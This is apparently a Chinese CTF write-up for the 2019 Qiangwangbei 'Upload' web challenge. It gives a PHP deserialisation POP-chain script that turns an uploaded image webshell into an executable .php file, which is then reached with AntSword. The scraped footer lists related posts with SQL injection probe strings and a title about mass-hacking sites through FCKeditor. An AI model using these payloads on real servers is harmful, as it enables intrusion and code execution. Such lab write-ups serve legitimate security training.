0x00 知识点

代码审计,PHP 反序列化。

0x01 解题

先注册一个账号,再登陆

上传

简单测试一下:

只能上传能被正常查看的 png。

F12看到文件上传路径

扫扫敏感文件

存在:/www.tar.gz

分析:

https://www.ctfwp.com/articals/2019qiangwang.html#upload

先上传一个png图片马:

上传后根据图片路径修改poc:

<?php
namespace app\web\controller; class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except; public function __get($name)
{
return $this->except[$name];
} public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
} } class Register
{
public $checker;
public $registed; public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
} } $profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php"; $register = new Register();
$register->registed = false;
$register->checker = $profile; echo urlencode(base64_encode(serialize($register)));

那我们生成的payload替换COOKIE:

然后蚁剑连上,打开 /flag 文件。

参考链接:

https://www.ctfwp.com/articals/2019qiangwang.html#upload

[强网杯 2019]Upload的更多相关文章

  1. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  2. [强网杯2019]upload buuoj

    提示:重点在这,可节省大部分时间 扫描后台 发现www.tar.gz备份文件. 这平台有429[太多请求限制]防护.dirsearch扫描一堆429.于是用了最笨的方法. 文件上传 先注册个账号 注册 ...

  3. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

  4. 2019强网杯web upload writeup及关键思路

    <?phpnamespace app\web\controller; class Profile{    public $checker;    public $filename_tmp;    ...

  5. 2019强网杯web upload分析(pop链)

    参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943 注意 只要namespace相同那就可以直接实例化同一namespace ...

  6. WriteUp_easy_sql_堆叠注入_强网杯2019

    题目描述 随便注 解题过程 查看源码,发现应该不适合sqlmap自动化注入,该题应该是让你手工注入: <!-- sqlmap是没有灵魂的 --> <form method=" ...

  7. [BUUOJ记录] [强网杯 2019]随便注(三种方法)

    本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...

  8. [原题复现]强网杯 2019 WEB高明的黑客

    简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...

  9. 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

    然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...

随机推荐

  1. HttpClient 以post的方式发送请求(由于请求参数太多所以改成以post提交表单的方式)

    1:Util类方法 /** * 发送 Post请求 * * @param url * @param reqXml * @return */ public static String post(Stri ...

  2. Keepalived+Nginx解决方案实现高可用的API网关(nginx)

    一. 采用Keepalived+Nginx解决方案实现高可用的API网关. 2.1 Nginx概述 nginx是一款自由的.开源的.高性能的HTTP服务器和反向代理服务器:同时也是一个IMAP.POP ...

  3. [RoarCTF2019]forensic

    拿到raw文件拖到kali里,首先看镜像信息. volatility -f /root/mem.raw imageinfo 用建议的profile,Win7SP1x86.先查看下内存中的进程 vola ...

  4. 「快学springboot」16.让swagger帮忙写接口文档

    swagger简介 官方的介绍 THE WORLD'S MOST POPULAR API TOOLING Swagger is the world's largest framework of API ...

  5. python 中的富文本编译器

    第一种方式: 1,pip install django-tinymce 2,在INSTALL_APPS里面添加tinymce        在站点中使用: 配置setting.py TINYMCE_D ...

  6. 吴裕雄 Bootstrap 前端框架开发——Bootstrap 表单:复选框(Checkbox)和单选框(Radio)

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  7. 越南FCK批量拿站

    关键词:inurl:detail_product.asp?lang= /FCKeditor/_samples/asp/sample01.asp/FCKeditor/_samples/asp/sampl ...

  8. 【剑指Offer面试编程题】题目1519:合并两个排序的链表--九度OJ

    题目描述: 输入两个单调递增的链表,输出两个链表合成后的链表,当然我们需要合成后的链表满足单调不减规则. (hint: 请务必使用链表.) 输入: 输入可能包含多个测试样例,输入以EOF结束. 对于每 ...

  9. Linux--add the PPA to your system

    Add a PPA to your system with a single line in your terminal step1:on the PPA's overview page,look f ...

  10. 【Python基础知识】【语法】【入门】

    一.Python概述 Python是一门面向对象的编程语言,拥有强大丰富的库,没有操作系统的限制,是一种优美.清晰的编程语言. 二.Python基础语法 1.Python标识符 标识符就是程序中定义的 ...